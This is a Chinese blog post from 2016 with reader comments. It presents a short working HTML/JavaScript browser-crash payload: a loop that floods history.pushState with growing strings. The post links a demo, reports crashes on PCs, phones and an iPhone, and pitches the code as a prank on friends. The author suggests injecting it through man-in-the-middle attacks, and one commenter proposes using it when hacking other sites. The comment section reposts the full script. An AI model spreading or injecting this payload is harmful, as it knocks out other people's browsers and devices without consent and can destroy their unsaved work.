这十二行代码是如何让浏览器爆炸的？（可以整蛊下你的好友）
消失的彩虹海 发表于2016年2月2日 17:22
完整HTML代码如下：
<html><body><script>var total="";for (var i=0;i<1000000;i++){ total= total+i.toString(); history.pushState(0,0,total);}</script></body></html>
demo：（温馨提示：请保存浏览器其它窗口的编辑任务）
http://www.0xroot.cn/demo.html
接来下会发生什么？
点开以后，我的状态是这样的：
如果你是PC端用户，点开链接以后，电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死！
如果你是移动端（安卓、iPhone）用户，点开链接以后你的浏览器会闪退！在微博、微信客户端点开链接同样会闪退。至于在推文中提到的让iPhone重启，这一现象倒是没有出现。22：49 修正：iPhone用Safari打开之后链接之后，手机注销重启了！…
思考
这是Bug还是0day?为什么会有这一现象？如何实现的？
有哪些比较有意思的利用姿势？（我先来个:当在执行MITM中间人攻击的时候，可以注入这一段js，来个恶搞整蛊。然后都懂的…）
全文完
〓 随机文章推荐
共有25513阅 / 21评我要评论
-
917云互联11楼手机直接闪退，以后黑别人网站就用他了！
-
小杰10楼表示联想win10专业版直接死机
-
z9楼呵呵<script>var total="";for (var i=0;i<1000000;i++){ total= total+i.toString(); history.pushState(0,0,total);}</script>
-
xx8楼@XZB：edge没用
-
RootLiang7楼短时间内加载一千次一个网页。换哪里都会爆炸
-
XZB6楼真心没有爆炸，连内存也没有太大变化啊
-
虚伪5楼表示 CPU狂飙 80%-99% 内存占用率持续上升 然后 内存全部被使用 浏览器崩溃
-
玖爱4楼没感觉啊。
-
三更地板没反应……打开是个空白页，我复制了代码本地打开也是一样
-
XZB板凳亲测没有爆 WIN10专业版 IE11 打了KB3104002 点进去卡了一会，就5s 然后恢复正常
发表你的评论吧返回顶部
!评论内容需包含中文